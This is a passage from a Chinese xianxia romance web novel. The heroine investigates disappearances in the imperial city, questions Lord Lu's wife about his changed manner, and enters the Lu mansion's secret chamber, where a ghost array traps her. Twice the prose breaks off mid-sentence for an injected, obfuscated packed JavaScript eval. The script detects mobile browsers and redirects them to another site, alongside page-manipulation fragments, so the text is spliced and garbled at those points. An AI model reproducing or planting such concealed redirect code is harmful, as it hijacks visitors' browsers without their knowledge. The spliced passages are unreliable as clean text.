明知他说的是泥人,梁惜因的心跳还是又漏了一拍:“是啊,很可爱。”她看向自己手中的重霄小泥人道。 重霄一路把梁惜因送至客栈门前。梁惜因回想着方才夜市上的种种,在进去前问他道:“阿霄,你明日还会来吗?” 重霄不答反问:“姐姐想要我来吗?” 梁惜因顿了片刻,直视着他的双眼,点头道:“想。” 重霄嘴角扬起:“好。只要姐姐想见我,我便会来。” 33. 失踪 梁惜因推开房门,正对上了坐在床上的燕明昭的视线:“师妹,大晚上的你跑哪去了?”她差点就要出去找了。 “去逛了逛夜市,让师姐久等啦。” “什么久等,我可没有在等你!而且夜市有什么好逛的,不就跟白日里差不多嘛。” 此话不假。但夜市里有什么并不重要,重要的是陪在她身边的人。 梁惜因从乾坤袋中取出兔子花灯:“这个送与师姐。” 燕明昭接过看了看,两眼放光。意识到后又立马偏过头去,试图掩饰自己的神情:“咳,长得还行。既是师妹送的,那我便收下了。” “是不是和师姐很像?”梁惜因调侃道。 燕明昭立马反驳:“什么,像我?哪里像了?一点都不像!” 明明就很像好么,现在这副样子更像了,梁惜因努力忍着笑。燕明昭似是知道她想说什么,把花灯收起,掀起被子盖过头顶,“我要睡了。” “啊,我还从夜市打包了些点心回来,师姐不吃吗?”梁惜因语气遗憾。 燕明昭:“......” 她重新翻身坐起:“吃。” 燕明昭睡熟后,梁惜因躺在床上翻来覆去睡不着,于是又将折扇从乾坤袋中取出,借着月光细细打量着扇面。 平心而论,这扇面上的字与画都是极好的。两只鸳鸯栩栩如生、纤毫毕现,诗句是用簪花小楷写就的,秀气非常。想来画扇之人也是倾注了真情在其中的。 诗句旁还有两个小字,梁惜因先前没有注意到,这时凝眸看去,无声念道:“轻云...” 轻云?祝轻云?她想起了白日里见到的那貌美女子,若扇面真是她所作,可见她对那陆闻朔确实用情颇深,但陆闻朔对她的态度又不像那么一回事,而且这折扇又为何会流落到街头小贩手中? 疑点重重,梁惜因摇头让自己莫要再想了。说到底,这些事与她的关系并不大,还是快些睡吧。 - 苍梧宗内,各门派的核心人物皆聚于此,几乎将主殿给站满了。沈逍站在前方,将玄晖宗秘境之事简要说了一遍,不出所料地引起了一片群情激愤。 “这些魔族,简直欺人太甚!” “两百年前的教训还没吃够吗,哪来的胆子在修仙界中生事!” “得快些想出个应对之法来才是。” 白元绪位于最前方,抬手示意众人安静下来。他脸上挂着笑道:“诸位莫急,闻影既能出来,定是漆吴山的封印出了问题,我和沈峰主此前已让两宗阵修前去探查。”他的视线落向殷照,“殷峰主,不知结果如何?” 殷照应声上前,复述着探查过程。今日上午,他和其余几名阵修开了道阵门,来到了漆吴山前。乍眼看去,这好像只是极普通的一座青山。然而走近后,半空中若隐若现的阵纹便浮现在了几人眼中。与修士所布的阵不同,这些阵纹是黑色的。它们彼此缠绕着,像是枯败的荆棘。 绕漆吴山转了几圈后,他们也只能看出封印大阵被加固了。于是又不信邪地将阵法每一处都观察了个遍,终于发现了一处不对劲。 殷照朗声道:“那处原是被人暴力破开的,但阵法强悍,极有可能破开没多久就自动弥合了。” 一番话说得众人满是疑虑,“能将重霄布的阵破开,这实力...” “但这阵为何又被加固了?又是何时被加固的?” “破阵之人和固阵之人会是同一个吗?这样做的目的又是什么?” “不像,破阵需要极高的修为,而固阵则要对阵法有一定造诣,且这根本就是完全相反的举动。” 白元绪听着众人的话语,良久才开口说:“这些事情皆需要慢慢探查,眼下是毫无线索。但出逃的魔族应不止闻影一人,当务之急是将他们全都逮捕,以免为祸人间。” 他将目光移向另一个方向:“不知玄仪子前辈对此事有何看法?” 玄仪子仍坐在龟甲上,两眼弯弯:“白掌门放心,与魔族的大战,不会再有了。” 闻言,不少修士都松了口气。玄仪子前辈都这么说了,那必然不会再有第三次仙魔大战了。 白元绪顿了少顷,继续说:“近期仍请诸位加强警戒,防范魔族异动。” “是。”众人齐齐应声。 接着白元绪话音一转,先是十分公事公办地对玄晖宗秘境一事表示了同情和关切,随后问沈逍道:“不知沈峰主对这布阵之人有何猜测?” 沈逍拱手:“惭愧,当日我与各峰主和长老将寒林内外全都搜寻了一遍,也未发现有何线索。几日思索下来,我也尚未想到修仙界中有哪一号人物能做出此事来。” 白元绪面上笑意不变:“沈峰主莫忧,这只能说明布阵之人手段过人。他此次对玄晖宗下手失败了,难保来日不会以同样的方式陷害其它宗的弟子,是以还请诸位与我苍梧宗一同协助玄晖宗查出这幕后之人。” 殿内霎时响起了一片义愤填膺之声。 “白掌门说得是,断不能让这狠毒奸诈之徒逍遥于世!” “玄晖宗出了事,我凌素山自不会袖手旁观,定当竭尽全力相帮!” “若有用得到倚阳宫的地方,沈峰主尽管开口!” 玄晖宗诸人也适时表现出了一副大受感动的模样,纷纷道:“有诸位此话,何愁捉不到此人啊!” 这表面看上去好一派各宗门相亲相爱、其乐融融的景象。实则众人都心知肚明,有些话是必须要说的,但做不做就完全是另一回事了。 玄晖宗众人更是再明白不过,要是让他们自己查,那过些时日说不定还真能查出来。若是让这么多门派一齐插手,那可能真就再也别想查出来了。不过在能来参加集议的人中,谁也不会傻到当场将这些虚情假意挑破。 玄仪子一手把玩着几枚古旧的铜钱,一手托着腮,懒洋洋地打了个哈欠。这些个宗门,这么多年来还真是一点都没变过。 他又忆起了白日里在街道上遇到的梁惜因。手中的铜钱被他反复抛起又接住,最后被他紧紧地握在了手中。有点意思,他弯了弯唇,眼底露出了些许期待来。 这一潭死水的修仙界,终是被搅动起来了。 - 次日,梁惜因醒来后便独自去了皇城中的一家茶馆,她此前在信中与梁书芸约好要来此见面的。 可近半个时辰过去了,仍不见她人影。梁惜因心中隐隐有些焦急,直接起身开了道阵门。 守在梁府的侍卫见凭空出现了一个人,连忙拦住她道:“敢问仙长来府中找谁?” 梁惜因好笑道:“我是府中四小姐梁因,特回府来探望众人。” “原是四小姐!您瞧我这记性。四小姐出落得真是越发漂亮了。”侍卫恭维几句,立马打开了大门。 梁惜因凭着记忆往里走去,府中的景色并无多大变化,但来往的下人脸上却都带有忧色。梁惜因心内的不安更浓,加快步子向梁书芸的住处走去。 还没走到院中,就听得一妇人的震天哭喊:“老爷!书芸和书宥都是我的命啊!要是他们有一个出了事,我也不活了呜呜呜...”是沈氏。 紧接着是梁允的怒喝:“哭哭哭!哭能把人哭回来吗,一天到晚就知道哭!你当我心里头不急吗?!” 梁惜因脚步不停,往里走着。守在屋外的春雨见了她,本来愁苦的面容顿时变得惊喜非常,转身就想进去通报。梁惜因拉住她,低声问:“府中出了何事?” 春雨又皱起了眉头,目露焦灼,快速说道:“三小姐失踪了。” 脑中的猜测被证实。梁惜因轻拍了拍春雨的手让她莫忧,随后径直走到了房中,唤道:“母亲。” 屋内几人皆是一顿,看向她的眼神中满是意外。最终还是梁书宥打破了沉默:“四姐...” 沈氏回过神来,慌乱抹了把眼泪:“四姑娘回来啦。” 梁允有心说些什么,但见梁惜因一个正眼都没分给他,最终还是闭口不语。 梁惜因摸了把梁书宥的脑袋,看他面色红润,不禁问道:“五弟的病可有好一些?” 一说起这个,沈氏拉着梁书宥就想给她下跪,梁惜因急忙制止她:“母亲这是何 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沈氏抽噎着道:“没多久,就在前两日。那日春雨见过了时辰了书芸还没起身,就进屋去喊她,怎知书芸并不在房中。她将此事报与我,我带着下人找遍了整个梁府,又去城中打探,都没找到我的书芸。” 沈氏的身体微微颤抖着,泪止不住地往下流:“你说书芸这么乖的孩子能得罪什么人,她平日里连皇城都没出过。到底是谁要害我的孩子呜呜呜...” 梁书宥忍不住也哭了起来:“姐姐...” 梁惜因忙说:“三姐吉人自有天相,定会平安归来的。”这话也不知是在安抚他们还是在安慰她自己。 她又问:“三姐失踪的那一晚可有何异常?” 沈氏摇头:“没有,一切都和往日一样,房间里头还是很整齐,一点痕迹都没留下。” “那城中近日可还有旁人失踪?” 梁书宥立马道:“有!我和娘在城中打听过了,最近失踪的人还真不少!” 梁惜因蹙眉:“既如此,那此事的影响定然不小。可为何我在城中一点风声都没听到?官府和此地的世家门派呢,他们就毫无作为吗?” 梁书宥苦着脸说:“官府本来是准备展开调查的,但被陆家主给压下来了,说是不能影响到修仙界的交流盛会,要等盛会过了再开始找人。” 梁惜因不禁有些愠怒:“人命关天的事岂能拖得?他陆闻朔当真是轻重不分了。”她深吸一口气,“母亲和五弟勿忧,此事暂且交与我,我定会全力将三姐姐平安带回来。” 沈氏又拉着梁书宥跪下了,任凭梁惜因怎么扶她都不肯起来,哭着道:“四姑娘,你是我的恩人,是梁府的恩人啊!此前书宥已蒙四姑娘的恩情,我本不想再拿此事去烦扰四姑娘,怎知...我和书宥来世做牛做马也会报答四姑娘!” 梁惜因只觉受不起,费了好大的力,才硬是将人拉了起来:“母亲言重了,三姐待我不薄,这本就是我分内之事。” 她问二人要了其余失踪之人的信息,再离开梁府前又去梁书芸的卧房中看了看。果如沈氏所说,房间内一切如故,仿佛下一秒梁书芸就会从门口出现。 她走到桌前,桌上用镇纸压着一封信。梁惜因认出那正是她几日前写给梁书芸约她见面的,想来是梁书芸睡前还在看这一封信。 信旁有一个木匣,里头整整齐齐地叠放着她寄给梁书芸的每一封书信。 梁惜因心头微动。她对沈氏和梁书宥说得肯定,但那也是为了宽慰他们二人,实则她根本不知要从何处寻起。 梁惜因眉间的忧色再也掩饰不住,三姐...可千万别有事啊。 等布阵回到客栈,令梁惜因意外的是,师兄师姐三人全都聚在一间房内,且面色都算不上轻松,尤其是柳甫畅,甚至可以称得上是凝重了。 “怎么了这是?”她走进去问道。 柳甫畅看她一眼,复又垂下眸子:“我小妹她...失踪了。” 34. 调查 柳甫畅不久前回了趟柳府,却不见往日与自己最为亲近的小妹。一番询问之下,才知晓小妹于昨日夜里失踪了。 “真搞不懂这陆家是怎么想的,我府中下人到处贴寻人告示,结果贴一张他们就撕一张!”柳甫畅气闷道。 “先别管他们了,找到人要紧。”燕明昭说。 “正是。我三姐也失踪了。”梁惜因坐在椅子上道。 在三人震惊的眼神下,梁惜因把方才的经历简要说了一遍。柳甫畅凝神说:“我小妹也是于半夜失踪的,一点线索都无,这背后应是同一人所为。” 梁惜因从袖中取出一张纸:“这是梁府打听过的其他失踪之人。” “诶,我这也有,”柳甫畅也摸出一张纸,对比了下他和梁惜因的,“但好像没你上面的多。” “既如此,我们便先分头行动,去向这些人家打听打听,说不定能寻出些线索。”谢淳说。 几人自是没有异议,出客栈时,柳甫畅还在愤愤道:“敢绑我柳家的人,真是胆子不小!” 四人各自往城中的四个方向而去。梁惜因一连拜访了城东的几处人家,在知晓她是为调查失踪之事而来后,这些人纷纷将她奉为座上宾。 第一户人家位于一处深巷中。那房屋一看就上了年头了,墙壁上满是风霜斑驳的痕迹。家中只有一个老妇,她佝偻着身形,拄着拐杖把梁惜因带到家具寥寥无几的屋内,缓慢地说道:“荣儿是五日前失踪的,老身日日去官府求人,却都被打发回来了,说什么...陆家主不让查。” “老身就剩这一个儿子相依为命了,要是找不回来了,那老身还活什么啊...”老妇语气平静,像是早就对这一命运做足了准备,但她眼中却满是掩不住的悲哀。 又问了些基本信息,梁惜因对她说:“阿婆您莫忧,我定会尽力将温荣找回的。” 老妇浑浊的眸中重又出现了微弱的光芒,连连俯身道:“多谢仙长,多谢仙长。” 临走前,梁惜因注意到墙上供奉着一副画像,所画之人手执长剑,白衣飘飘。供台上纤尘不染,极为用心地摆放着些贡品。梁惜因心生好奇,问道:“阿婆,您这供的是谁啊?” “是我们温家祖上唯一一个修士,可惜死在了两百年前的那场仙魔大战中。”老妇走近几步,追忆道,“万幸有祖宗保佑,荣儿才能考中进士...” 修士吗...梁惜因留了个心眼,在拜访后面几户人家中特意问了这方面。果然,这些失踪之人的家族中都出过修士,要么是以前,要么是现在,包括梁书芸和柳甫畅的小妹也是。 幕后之人为何一定要选这些人家?梁惜因思索着,目光不经意间落在了路边的一座府邸。府邸的大门极为气派,上方高悬的牌匾写着“陆府”二字。梁惜因停下脚步,她能看出守门的侍卫是有修为的,应是那个陆府没错了。 她走上前去,问那侍卫道:“陆家主在府中吗?” 侍卫恭敬答道:“家主出门了,府中只有夫人在。” “太好了,我就找陆夫人。”梁惜因笑道。 侍卫:“......” 他将梁惜因带进府中待客厅。问过她的身份后,便去向祝轻云禀报了。不多时,祝轻云就款款走了过来:“梁姑娘,久等了。” “没有,是我叨扰夫人了。”祝轻云还是那么漂亮,但梁惜因注意到她脸上的脂粉没有抹匀,且神情中隐隐透着憔悴,不比昨日在酒楼见到她时那般得体从容。想来是欲借脂粉遮掩面色,却又急于过来待客所致。 “不知梁姑娘此来所为何事?夫君他一早便出门了。”祝轻云抿了口茶,声音轻缓。 “无妨,我此次就是专程来找夫人您的。”梁惜因说。 “找我?”祝轻云有些意外。 梁惜因没急着答话,而是起身走到了墙上的一副山水画前:“这画可是夫人所作?” 祝轻云走到她身侧:“正是,闲时戏作罢了。” “夫人过谦了,这画笔触细腻,非功力深厚之人所不能绘。”更重要的是,这画法以及画上的题字都与那折扇上的极为相似。 “梁姑娘谬赞了。”祝轻云不明白梁惜因为何突然说起画来,却见她从乾坤袋中取出一把折扇,“夫人可识得此扇?” 祝轻云神情一滞,双手微微颤抖着接过扇子。她静默了半晌,才小心翼翼地将之展开。待看清扇面的内容,她竟是控制不住地落下泪来。 泪水滑过面庞,滴落在扇面上,晕出一道深色的痕迹。 “是我画给阿朔的扇...”意识到自己的失态,她连忙擦了擦泪,紧接着问道:“梁姑娘是从何处觅得此扇的?” “是在夜市的一个投壶摊贩处。” “原是如此。”祝轻云点头,两人坐回桌前,“之前府中下人处理杂物时将这扇子也算了进去,想必也是几经流转才到了那小贩手中。若非梁姑娘,只怕是再也寻不回了。”她声音里带着叹息。 “哪里,也是那小贩不识货,才肯轻易将这扇子交与我,不然定是要高价拿去卖的。”梁惜因半开玩笑道。 祝轻云果然露出了些许笑意:“说到底还是梁姑娘的功劳。” 梁惜因犹豫少顷,还是问道:“不过既是夫人赠与陆家主的,又怎会这么容易被下人当成杂物?” 祝轻云柳眉轻蹙,微微垂下的眼睫中是难掩的落寞:“我不知道,阿朔他...和以前不一样了。” 许是这些话在心里憋太久了,哪怕她刚认识梁惜因没多久,也忍不住想要诉说。 “我与阿朔青梅竹马,两情相悦。与他成亲的前一日,我喜得一晚没睡,他也一直待我很好。直到前些时日,他去苍梧宗见了趟白掌门,回来后就变得和从前不一样了。别人或许看不出,但我是他的妻,又怎会不察?那些变化我全都看在眼里。他待我也不再似从前那般,成日里早出晚归,甚至与我分房而居。” 在见了白元绪后就变了,梁惜因暗暗记下这一点。 “那确是蹊跷。”梁惜因说。只是她一个外人,也不便再多问,于是转而道:“最近城中陆续有人失踪,夫人可知晓?” 祝轻云明显一惊:“失踪,怎会?皇城的治安一向很好啊。” 她神色不似作伪,看来陆闻朔确实没将这事透露与她。梁惜因微笑道:“无事,夫人且先安心,我和师兄师姐们正在调查此事。” 祝轻云的眉目仍旧不曾舒展,她应道:“好,若是需要陆家的帮助,梁姑娘尽可开口。” 可问题就出在你们陆家啊...梁惜因也没拒绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464193|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“多谢夫人,晚辈先告辞了。” “等一下。”祝轻云叫住她,把折扇重新交到她手中,“这扇子,还是由姑娘拿着吧。” 梁惜因微怔,推辞道:“这不是夫人所作吗?既已物归原主,又岂有再拿回来的道理?” 祝轻云却执意如此:“这扇子放到我这也是徒增忧愁,倒不如送与姑娘。姑娘与这扇子有缘,说不定能早日寻得心属之人。” 梁惜因手一抖,好险没把这扇子给扔出去,“那晚辈便收下夫人美意了。”不知为何,一听到“心属之人”四字,她脑中最先浮现的是重霄的面容。 她走在大道上,脑中一片纷乱。梁惜因你在想什么啊!那可是你看着长大的弟弟。不正常,自己最近实在有些不正常... “师妹。”肩膀突然被拍了一下,梁惜因猛地回身,“谁?!” 柳甫畅被吓了一跳,后退几步道:“是我啊,师妹你脸怎么这么红?” “是二师兄啊,”梁惜因用手碰了碰面颊,视线飘忽,“有吗,可能是刚刚走太快了哈哈哈...” 柳甫畅不疑有它,没再追问下去。梁惜因见他一直紧拧着眉,忍不住劝他说:“二师兄过于忧心反倒不好,你小妹可还在等着她哥哥去找她呢。” 柳甫畅深吸一口气,“师妹说得是,现在不是丧气的时候,要尽快找到人才是。”为转移注意力,他又对梁惜因说:“我小妹今年十岁,她自生下来就最黏我这个哥哥,第一个会说的词也是‘哥哥’。后来我被到皇城除妖的师尊看中了,要入宗门修炼。全家都替我感到高兴,直说柳家要出神仙了,唯独她哭着喊着不肯让我走。” 在说这些话时,他面上一直带着浅浅的笑意。 “师尊常说,修仙之人要放下凡尘。可这红尘万丈,又岂是说放就能放的?”柳甫畅望着街上的熙攘人群,又好似望到了很远的地方。 他再清楚不过修士与凡人的寿命差异。他将一直以这副容貌看着父母老去,两鬓生华;看着小妹长大,又芳华不再;看着昔日的亲友一个接一个的化作冢中枯骨。 他只希望岁月可以走得慢一些、再慢一些,好让自己再多陪他们一些时日。 柳甫畅生于钟鸣鼎食之家,柳老爷身为皇城第一豪商,对这个儿子向来是有求必应。他自知于修仙一途上,柳家帮不上什么忙,便极力在金钱方面上给他最好的,生怕亏待了他。而柳甫畅也会定期往家中寄灵植丹药,好给他们强身健体、益寿延年。 “师妹的家人也是凡人,对此想来也深有体会吧。”柳甫畅突然来了这么一句。 “倒也还好。”毕竟她不是原身,而且就算是原身,对这所谓的“家”估计也不会有多少留恋。 “不过二师兄大可放宽心,这世间机缘万般,谁又能说得准你们不会再以另一种方式重逢?”梁惜因扬眉笑道。 柳甫畅微愣,随后大笑出声:“师妹说得在理!何愁不相逢!” 两人说着就已走回了客栈,这次房内除了谢淳和燕明昭还多了一人,正是天玑峰的江映和。 他主动对他们说:“我表弟也失踪了,在打探的过程中遇到了谢师兄,所以想来一起调查。” 两人自然不会有异议,柳甫畅拍着他的肩道:“正好多个人多份力。” 35. 潜入 几人彼此交流着获取的信息。失踪是在五日前开始的,时至今日,共失踪了二十三人。这些人有男有女,家世和经历各不相同,但年龄都在三十岁以下。 “我调查的那几户人家中都出过修士。”梁惜因道。 另四人与她有着相同的发现。谢淳站在窗边,思索着说:“幕后之人既然选择了这些人,莫非是觉得他们身上也沾有仙缘?” 燕明昭接道:“我猜他最开始的目标可能就是修仙门派的弟子,但又因他自身的修为难以应付,所以退而求其次。” 柳甫畅却摇了摇头:“他既是能悄无声息地在皇城中把人带走,修为定然不低。他这么做估计还是不想让修仙门派掺和进来,以免那些不必要的麻烦。”若非妖魔作乱,修仙门派极少会主动插手人间事。但若是弟子失踪了,又有哪个师尊肯轻易善罢甘休? 自己的观点被反驳了,燕明昭难得没有气闷,反而赞同道:“有理。” 梁惜因琢磨片刻,还是把陆府的异状说了出来,这件事没有隐瞒的必要。 房间内一时陷入了沉默,江映和挠头道:“我还是想不明白,这失踪既是从五日前开始的,那陆家主完全来得及料理此事啊,为何反倒要封锁消息?这么多门派齐聚于此,还怕会找不回人吗?” 梁惜因微微皱眉:“所以我在想,他极有可能就与这事有关。就算不是幕后黑手,也起着从旁协助的作用。” 谢淳神色凝重:“可陆家主身为前辈,向来高风亮节,极负盛誉,又怎会...”他说到一半就停下了,想起了梁惜因方才所说的“性情之变”。 “如今连他还是不是陆家主都要另论了。”果然,梁惜因又提醒了他一遍。 可若真是如此,原本的陆闻朔又去哪了?他又是怎么变成如今这样的?几人都意识到这件事远没有表面看上去那么简单。 江映和问道:“那现在怎么办?要去陆府吗?” “不,就这样过去反而是打草惊蛇。”梁惜因很快答道。 柳甫畅:“那晚上偷摸着去?可我们一不知道人是不是他带走的,二不知道这些失踪的人究竟被带到了哪里。” 燕明昭提议道:“还是去吧,说不定能找到些线索。陆家主这几日不是忙于应酬吗,机会难得。” 谢淳默了须臾,点头道:“时候不早了,我方才又见陆家主正向府中走去,今日怕是没有机会了。” 江映和:“那就等明日,明日这些前辈正好会在迎风楼办晚宴。”他话音一转,又问:“此事可要告诉师尊他们?” 梁惜因:“只怕师尊也无暇顾及此事。” 柳甫畅赞同道:“是啊,师尊也不知在忙些什么,一天到晚不见人影。何况要是就这么将事情说出去,说不定还会惊动陆家主。” 燕明昭:“还是由我们几人先行调查,若当真解决不了,再去告诉师尊也不迟。” 傍晚时分,梁惜因独自坐在客栈的房中,在脑海中一遍遍地梳理着信息,想着还能不能再发现些什么。 “姐姐在想什么?” 耳畔突然响起一道声音。梁惜因一惊,却见重霄不知何时坐到了她身旁。梁惜因回头,见门是关着的,便问道:“阿霄你是如何进来的?可有被他们发现?师姐她才出门,不知何时会回来。” “无妨,姐姐放心。”重霄面色如常,再自然不过地替她将颊边碎发捋到了耳后,“我知姐姐在忧心梁三姑娘之事。” 梁惜因轻叹一声,一时也顾不得其他了:“阿霄你也听说了。也不知三姐怎么样了,那幕后之人谨慎到连一丝线索都没留下。” 重霄伸手抚平了她的眉心:“姐姐可有梁三姑娘的贴身之物?说不定我能帮上一些忙。” “当真?!”梁惜因目露惊喜,见重霄面带笑意,顿时忍不住抱了他一下,“还好有阿霄在!” 重霄不自然地咳了两声:“姐姐谬赞了,不过是做些力所能及之事而已。” 梁惜因取下手腕上的玉镯:“这个可以吗?三姐在送与我之前一直是自己戴着的。” 见梁惜因拉开了距离,重霄眸中闪过一丝不易察觉的失落。他接过镯子,说道:“我试试。” 怨气自他指尖凝出,将玉镯包裹其中,随后延伸成细线飞出了窗外,几要与外面的夜色融为一体。不过片刻功夫,这缕怨气又重新缩回了重霄指尖。 梁惜因目不转睛地看着他:“如何?” “陆府,正房内。”重霄淡声说。 竟真在陆府! “姐姐要今晚去吗?我与姐姐一道。” 梁惜因没有犹豫:“去。”虽说不久前才和他们说定了明日再探陆府,但拖得时间越长,变数就越大。况且这次有重霄在她身边。 重霄揽着她飞身掠出客栈,梁惜因吓得连忙抓紧了他的衣襟。夜市喧闹依旧,车如流水马如龙,眼前的光影飞速变化着,晚风吹动了两人的衣摆。 重霄速度极快,动作又极轻,几乎是悄无声息地穿梭于夜色中。 最初的惊吓过后,梁惜因只觉新奇。夜风在耳边呼啸着,她将视线从那灯火万千中收回,悄悄看向了面前的重霄。 重霄似有所察,目光下移,正对上了梁惜因的双眸。梁惜因一怔,慌忙移开视线,余光却瞥见重霄扬起了唇角。 那种奇怪的感觉再次萦绕在了她心尖,晚风分明带着寒意,梁惜因却觉自己的耳根在微微发热。 陆府内外一片寂静。重霄一直带着她踏进了陆府院内,梁惜因踩在地面上,原地踉跄了几步,有些晕... 见状,重霄本欲松开的手重又扶在了她的腰上:“姐姐小心些。” “谁在那!”几个巡逻的侍卫察觉到动静,飞快向他们逼近,然而下一瞬就尽数倒在了地上。 梁惜因侧头看向重霄,果见他手中缠绕着怨气:“姐姐放心,他们只是暂时昏过去了。” 梁惜因不再耽搁:“好,我们抓紧时间去正房。我白日里来过,大致知道在哪。” 两人隐蔽身形来到正房,出乎意料的是,偌大的房间里头空无一人。也不知陆闻朔是不在正房内还是又出府了,如此倒也便于他们行事。看来祝轻云所言不假,她确是与陆闻朔分房睡的。 房内并不奢华,处处透着一股浓浓的书卷气,清幽雅致。只是梁惜因越往里走,鼻尖那股隐隐的臭味就越浓烈。她皱眉寻找着气味的来源,视线落向了窗边的盆栽。那花盆中种的似是某种灵植,梁惜因并不认识,只觉陆闻朔真是异于常人,这种气味都能忍下来,还把它放在房间里... 重霄进房后便继续用怨气探查着,此刻对她道:“姐姐,床底。” 床底?那想必是有密室一类的了,梁惜因思忖着。床板距地面的高度比一般的床要高上许多,就连重霄这种个子都能轻易钻进去。床底乍一看并无异样,甚至连一点灰尘也无,干净极了。 梁惜因弯腰进去,细细摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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梁惜因蹲下身子观察着地面,旋即肯定地道:“是炼魔阵,一种专门用来对付魔兽的阵法,威力极大。但眼下已是失效了。” 重霄引了几缕漂浮的魔息到指尖,垂眸说:“这些魔兽的修为俱是不低,应已修出神智来了,死的时日也不算长。” 梁惜因思索道:“这间密室也不知是何时造的,但能将这些魔兽抓到此处并全部杀死的,怕是也只有陆闻朔了。” 陆闻朔修为极高,符阵兼修。他杀了这么多魔兽,无非是为了修炼邪法,借魔息来提升修为。这么多魔兽的尸体堆积在这,也不知现在陆闻朔的修为提升到了何种境地,想想就难对付。 手中的火符即将燃尽,梁惜因反手又取出几张来,将它们一齐用了,置于上方形成一个火球,霎时就照亮了整间密室。与此同时,她听见前方传来几阵惊呼,随之是“嘘”声和极力压抑着的抽噎声,在这间不大的封闭密室内显得犹为清晰。 梁惜因警觉地望去,就见密室尽头处有一间巨大的牢笼,里头关了不少人,无不是面带惊恐、眼下青黑。她一眼便看见了人群中的梁书芸和她怀中抱着的小姑娘,顿时惊喜道:“三姐!” 梁书芸也看清了她,不敢相信般的喃喃道:“四妹...” 梁惜因提起衣摆,快步向那处跑去。重霄走在她身后,用怨气为她扫清前面的尸块。 梁书芸看着她走来,突然想起了什么,忙提醒道:“四妹,小心!” 然而已经晚了,梁惜因一脚踏进一个阵中,眼前重又陷入了黑暗。 36. 百鬼 谢淳四人在客栈的一楼大堂内用着晚饭,燕明昭心不在焉地吃着,连续几次都夹向了同一道菜。 柳甫畅见了,将一道菜往她面前推了推:“师姐,这个好吃,你尝尝看。” “啊,行。”燕明昭依言夹了一筷子。见她难得话这么少,柳甫畅又说:“这客栈菜色这么好,师妹不来吃真是可惜了。”他叹了一声,“她还劝我不要忧心,可我看她分明更忧心。” 江映和看了看面前三人,将口中的菜咽下道:“要不再去喊喊梁师妹?这么多菜我们几个也吃不完啊。” 燕明昭“啪嗒”一声将筷子放下,立马站起身向楼上走去:“有理,我现在就去。” 柳甫畅目送她走远,挑眉对江映和使了个“做得不错”的眼神。 江映和:“......”他觉得自己好像明白了些什么。 不过片刻功夫,燕明昭就脚步匆匆地下楼来了,神色焦急。 见状,谢淳问道:“发生何事了,小师妹呢?” 燕明昭将一张字条拍在他们面前:“你们自己看,真是的,一点都不让人省心!” 看完字条上的寥寥几行字后,几人俱是面色一变,也顾不上才吃了没多少的菜了,站起身就往外走。 - 回过神来时,梁惜因发现眼前一片黑暗。与密室内的黑暗不同,这里的黑浓稠得看不到边际,耳边无一点声响。她身处其中,只觉要被吞噬,胸腔处隐隐传来一阵窒息感。满地的尸块,笼中的人群,还有重霄,全都不见了踪影。 许是在天璇峰对这种突如其来的阵法经历得多了,梁惜因并没慌乱多久,很快就镇定下来。她脑中第一反应是陆闻朔实在是警惕,无论他是否当真料到了会有人查到这里,都已提前布下了阵法以困住来人的脚步。 不过到底还是她一时心急大意了。当务之急是先辨出这是何种阵法,以及如何才能出去。 她试探着向前迈出一步,脚步落在黑暗之上,好似于无声之中惊起了无数层涟漪。下一瞬,无数妖鬼从黑暗中骤然向她袭来。梁惜因早已做好了准备,飞速闪身躲开向她面上抓来的手,同时从袖中取出几张符纸向它们扔去。 这些妖鬼受了一击,又潮水般地退回了黑暗中。还没待梁惜因喘一口气,又有更多的妖鬼源源不断地涌了出来。它们面目扭曲,嘴巴张得极大,却没发出一丝声响,更添阴谲诡异。 在这看不到尽头的暗色中,唯有梁惜因不停的脚步声和急促的呼吸声。她向前跑着,手中符纸翻飞,洒向四周。而符纸的金芒不过闪烁了一瞬,就融进了那化不开的漆黑中。 百鬼夜行阵。梁惜因心下已有了思量。此阵能召唤出各类妖鬼对入阵之人进行攻击,是极凶的一类阵法。破阵之法只有一种,便是将阵中妖鬼灭尽。 意思就是,她和这些妖鬼只能活一个。 梁惜因深感棘手,谁不知道近战的阵修就是个脆皮啊!黑暗化作浓稠的液体,自妖鬼扭曲着伸向前的指间流淌下来,它们以各种怪异的姿势飞快爬行着,誓要将她也拖入深不见底的暗色泥沼中。 这场追逐不知何时才会停止,梁惜因的体力不断被消耗着,脚步不自觉的慢了下来。 她握着手中仅剩不多的符纸,再度回头瞄准着向身后扔去。然而再扭过头,她眼前猝然出现了一张狰狞无比的脸。那张脸有着人的五官,但皮肉却已脱去了一半,直露出里头的森森白骨。獠牙自它那大张的嘴中向外翻着,里头俱是猩红的血色。 这只妖鬼不知何时竟绕到了她面前,两只眼睛泛着红色的微光,就这么直勾勾地盯着她。梁惜因心中暗呼不好,在与它对视上的那一刻,她顿觉眼前一阵模糊,那张可怖的鬼脸好似分裂成了无数张。脑中随之传来一阵剧痛,意识也变得混乱起来。 这就是她为什么一直避免让这些妖鬼近身。百鬼夜行阵的最可怕之处就在于其中妖鬼具有迷惑人心的能力,能使人沉溺在幻象或是最刻骨铭心的记忆中,无法自拔、脱身不得,直到彻底被阵法吞噬。 梁惜因捂住头,紧闭双眼,尖锐的耳鸣声似要把她的大脑切成两半。不知过了有多久,耳鸣声终是消了下去。梁惜因把手放了下去,试探着睁开了双眼。突如其来的光线让她有些不适应,等视线逐渐清晰下来后,她发觉自己身处在一片荒野之上。 